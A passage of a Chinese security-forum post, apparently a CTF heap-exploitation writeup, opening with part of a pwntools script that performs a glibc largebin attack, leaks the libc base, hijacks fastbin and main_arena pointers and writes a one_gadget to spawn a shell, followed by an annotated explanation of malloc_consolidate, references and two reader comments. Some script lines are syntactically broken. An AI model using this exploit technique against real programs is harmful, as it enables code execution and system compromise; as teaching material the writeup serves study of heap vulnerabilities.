chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2
 
chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
 
edit(0x2, chunk1) # chunk1
 
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
 
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # 此时取出我们要攻击的处于largebin中的chunk,触发largebin attack,因为bk_nextsize指针已经被劫持,我们会申请到已经构造,布置好的fake chunk的位置,达到了任意地址申请的目的。
add(0x60'6'*0x60 ) #
 
show(0x3)# 3是我们用largebin attack申请到的chunk,大小伪造成0x410,puts的时候打印出了正常的下一chunk的main_arena+200
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
 
junk = flat(
    '\x03'*0x30,        # 填充到之前由于防止00截断而被我们劫持的size
    p64(0x81),          # 恢复0x81的size
    p64(LIBC+0x3c4be8), # main_arena+200,恢复smallbin的fd指针
    p64(HEAP+0x300),    # 恢复smallbin中chunk的bk指针
)
junk = junk.ljust(0xa8,'A')
junk += p64(0x80)
 
recovery  = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd
 
dele(0x5)
dele(0x4)
edit(0x3, recovery) # # 恢复chunk结构
add(0x60'4'*0x60 ) #
 
recovery  = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158
 
add(0x40'5'*0x30 ) #
 
dele(0x5)
 
recovery  = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)# 劫持处于fastbin中的chunk的fd指针指向main_arena
edit(0x3, recovery)
pause()
add(0x40'5'*0x30 ) #
 
add(0x40,  p64(LIBC+0x3c5c50)) # 申请到main_arena,劫持unsortedbin中的top chunk指向main arena
pause()
# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
 
 
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
 
dele(0x1)
 
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4527a)) #
pause()
dele(15)
 
io.interactive()

番外篇——关于fastbin的合并

合并时机

在申请large chunk时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if (in_smallbin_range (nb))        //判断要申请的是否在smallbin范围
  {
    idx = smallbin_index (nb);
    bin = bin_at (av, idx);
 
    if ((victim = last (bin)) != bin)
      {
        if (victim == 0) /* initialization check */
          malloc_consolidate (av);
        else
          {
            bck = victim->bk;
  if (__glibc_unlikely (bck->fd != victim))
              {
                errstr = "malloc(): smallbin double linked list corrupted";
                goto errout;
              }
            set_inuse_bit_at_offset (victim, nb);
            bin->bk = bck;
            bck->fd = bin;
 
            if (av != &main_arena)
              victim->size |= NON_MAIN_ARENA;
            check_malloced_chunk (av, victim, nb);
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
          }
      }
  }
else            //不在smallbin而在largebin范围时
  {
    idx = largebin_index (nb);
    if (have_fastchunks (av))
      malloc_consolidate (av);//合并
  }

一般结束后会放到smallbin中

当申请的chunk需要申请新的top chunk时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
use_top:
      /*
         If large enough, split off the chunk bordering the end of memory
         (held in av->top). Note that this is in accord with the best-fit
         search rule.  In effect, av->top is treated as larger (and thus
         less well fitting) than any other available chunk since it can
         be extended to be as large as necessary (up to system
         limitations).
 
         We require that av->top always exists (i.e., has size >=
         MINSIZE) after initialization, so if it would otherwise be
         exhausted by current request, it is replenished. (The main
         reason for ensuring it exists is that we may need MINSIZE space
         to put in fenceposts in sysmalloc.)
       */
 
      victim = av->top;
      size = chunksize (victim);
 
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))    //top chunk是否满足我们下一次分配的需求?
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
 
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
 
      /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (have_fastchunks (av))//判断是否有fastbin的存在,如果存在fastbin,那么则进行合并
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))//匹配我们需要的大小nb在smallbin中或者largebin中是否有对应的
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }
 
      /*
         Otherwise, relay to handle system-dependent cases
       */
      else//如果都不匹配or不存在 fastbin,则扩展top chunk。
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }

free的堆块大小大于fastbin中的最大size。(注意这里并不是指当前fastbin中最大chunk的size,而是指fastbin中所定义的最大chunk的size,是一个固定值。)

1
2
3
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
  if (have_fastchunks(av))
malloc_consolidate(av);

合并过程

malloc_consolidate既可以作为fastbin的初始化函数,也可以作为fastbin的合并函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
static void malloc_consolidate(mstate av)
{
  mfastbinptr*    fb;                 /* current fastbin being consolidated */
  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
  mchunkptr       p;                  /* current chunk being consolidated */
  mchunkptr       nextp;              /* next chunk to consolidate */
  mchunkptr       unsorted_bin;       /* bin header */
  mchunkptr       first_unsorted;     /* chunk to link to */
 
  /* These have same use as in free() */
  mchunkptr       nextchunk;
  INTERNAL_SIZE_T size;
  INTERNAL_SIZE_T nextsize;
  INTERNAL_SIZE_T prevsize;
  int             nextinuse;
  mchunkptr       bck;
  mchunkptr       fwd;
 
  /*
    If max_fast is 0, we know that av hasn't
    yet been initialized, in which case do so below
  */
 
  if (get_max_fast () != 0) {    //max_fast为fastbin的最大大小
    (av);
 
    unsorted_bin = unsorted_chunks(av);
 
    maxfb = &fastbin (av, NFASTBINS - 1);
    fb = &fastbin (av, 0);
    do {
      p = atomic_exchange_acq (fb, 0);
      if (p != 0) {
    do {        //这是一个大循环,循环遍历fastbin中的chunk
      check_inuse_chunk(av, p);
      nextp = p->fd;
 
      /* Slightly streamlined version of consolidation code in free() */
      size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);
 
      if (!prev_inuse(p)) {    //当pre in use位为0,即物理相邻的上一块是free状态,合并
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(av, p, bck, fwd);
      }
 
      if (nextchunk != av->top) {
        nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
        if (!nextinuse) { //物理相邻的下一个chunk为free状态,合并
          size += nextsize;
          unlink(av, nextchunk, bck, fwd);
        } else
          clear_inuse_bit_at_offset(nextchunk, 0);
 
        first_unsorted = unsorted_bin->fd;
        unsorted_bin->fd = p;
        first_unsorted->bk = p;//直接插入unsortedbin的头部
 
        if (!in_smallbin_range (size)) {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }
 
        set_head(p, size | PREV_INUSE);
        p->bk = unsorted_bin;
        p->fd = first_unsorted;
        set_foot(p, size);
      }
 
      else {
        size += nextsize;
        set_head(p, size | PREV_INUSE);
        av->top = p;
      }
 
    } while ( (p = nextp) != 0);
 
      }
    } while (fb++ != maxfb);
  }
  else {
    malloc_init_state(av);
    check_malloc_state(av);
  }
}

1、首先将与该块相邻的下一块的PREV_INUSE置为1。
2、如果相邻的上一块为free,则合并,再判断相邻的下一块是否free,若free,则合并。
3、不管是否完成合并,都会把fastbin或者完成合并以后的bin放到unsortbin中。(如果与top chunk相邻,则合并到top chunk中)这点尤其要注意,这也是为什么可以泄漏出libc基地址的原因。(注意,这里代表,即使没有发生合并,也会将对应的fastbin的chunk放入unosrtedbin,比如我们有一个0x60、一个0x80、他们物理上不相邻,但都处于free状态,那么合并时他们俩都会被放入unsortedbin。)

参考

https://www.jianshu.com/p/d3fdeff8683f

 

https://wiki.x10sec.org/pwn/heap/heap_implementation_details/#large-bin

 

https://xz.aliyun.com/t/5177?accounttraceid=a5c0b873d40e445f90a2b0a7e8cde4a4fkam

 

https://bbs.pediy.com/thread-257742.htm


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-10-3 11:07 被Roland_编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wwwfo 2021-7-4 16:45
2
0

 需要爆破多少次?

最后于 2021-7-4 19:56 被wwwfo编辑 ,原因:
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_就叫16385吧 2021-9-30 15:31
3
0
这是libc2.29以后的吧,初号机师傅。
游客
登录 | 注册 方可回帖
返回